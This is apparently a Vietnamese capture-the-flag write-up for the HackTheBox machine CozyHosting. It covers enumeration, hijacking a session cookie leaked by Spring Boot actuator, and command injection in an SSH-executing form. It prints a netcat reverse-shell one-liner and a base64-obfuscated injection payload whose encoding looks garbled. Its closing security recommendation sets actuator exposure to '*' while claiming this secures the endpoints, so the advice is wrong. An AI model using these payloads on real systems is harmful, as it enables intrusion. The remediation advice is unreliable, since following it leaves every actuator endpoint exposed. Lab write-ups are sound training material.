Giới thiệu
CozyHosting là 1 machine dễ ở trên HackTheBox. Nó sẽ phù hợp đối với những bạn mới tập chơi machine ở phần Init Access. Nhưng nếu muốn có flag thì bạn cần phải có thêm 1 số kỹ năng nhỏ nữa để có thể đạt được
1. Recon
Sử dụng Nmap và kiểm tra các cổng đang mở trên hệ thống
Kết quả: dịch vụ đang chạy ssh và http
Thực hiện thêm dòng sau vào tệp /etc/hosts
10.10.11.230 cozyhosting.htb
Truy cập vào trang web http://cozyhosting.htb
2. Enumeration
Thực hiện quét các đường dẫn trên trang Web với ffuf:
ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u
'http://cozyhosting.htb/FUZZ'
Với các đường dẫn như index thì không có dấu hiệu gì, với admin thì phải là admin thì mới truy cập được. Login và logout có lẽ là endpoint để đăng nhập và đăng xuất
Thử truy cập với endpoint là error thì nhận được thông báo sau
Nhận được thông báo như trên, search google với từ khoá "Whitelabel Error Page" thì nó là của Framework Springboot
Sử dụng Wappalyzer ta biết được Server chạy trên ngôn ngữ Java
Sau đó thực hiện Enum lại nhưng thay đổi wordlist thành wordlist dành cho server Java Springboot
ffuf -c -ic -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt
Xác định được Server sử dụng 1 Framework của Spring là actuator để giám sát cũng như quản lý ứng dụng web
3. Exploit
Chúng ta sẽ kiểm tra từng đường dẫn và sau khi tìm kiếm có 1 thông tin quan trọng ở endpoint actuator/sessions
Thực hiện truy cập vào đường dẫn
Ta thấy được 1 cookie của 1 người là kanderson
Thử thay đổi cookie và refresh lại trang login
Như vậy ta đã truy cập được vào trang quản trị và bypass được phần authentication
Có 1 phần đang chú ý trên trang web
Bắt trên Burp có 1 endpoint là /executessh
Rồi nó chuyển hướng sang 1 thông báo lỗi
Ứng dụng trả lại lỗi lỗi của ssh,có vẻ như nó đang thực hiện một câu lệnh với ssh, câu lệnh có dạng như sau đối với input của ta
ssh "username"@"host"
Thử inject với username là ;ls
; và host là 123.123.123.123 vào input như sau:
ssh ll;`ls`;@123.123.123.123
Trả về kết quả của ls là file cloudhosting-0.0.1.jar có nghĩa có xảy ra Command Injection
Ta sẽ thực hiện 1 cái reverse shell có dạng như sau:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.10 8888 >/tmp/f
Sau đó sẽ encode base64
;`echo${IFS}'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI
%2bJjF8bmMgMTAuMTAuMTYuMTAgODg4OCA10.L3RtcC9m'|base64${IFS}-d|bash`;
Thực hiện lắng nghe với netcat ở máy local
4. Recomendation
- Update file config của Springboot để chặn truy cập tới file actuator
Ở trên application.properties:
*# Secure Actuator endpoints* *management.endpoints.web.exposure.include=** *management.endpoint.health.show-details=never*
Với application.yml
yaml Copy code management: endpoints: web: exposure: include: "*" endpoint: health: show-details: never
Với config này sẽ giúp cho các đường dẫn của actuator được bảo mật an toàn
5. Refference
[1] . https://www.iothreat.com/blog/spring-actuator-information-leak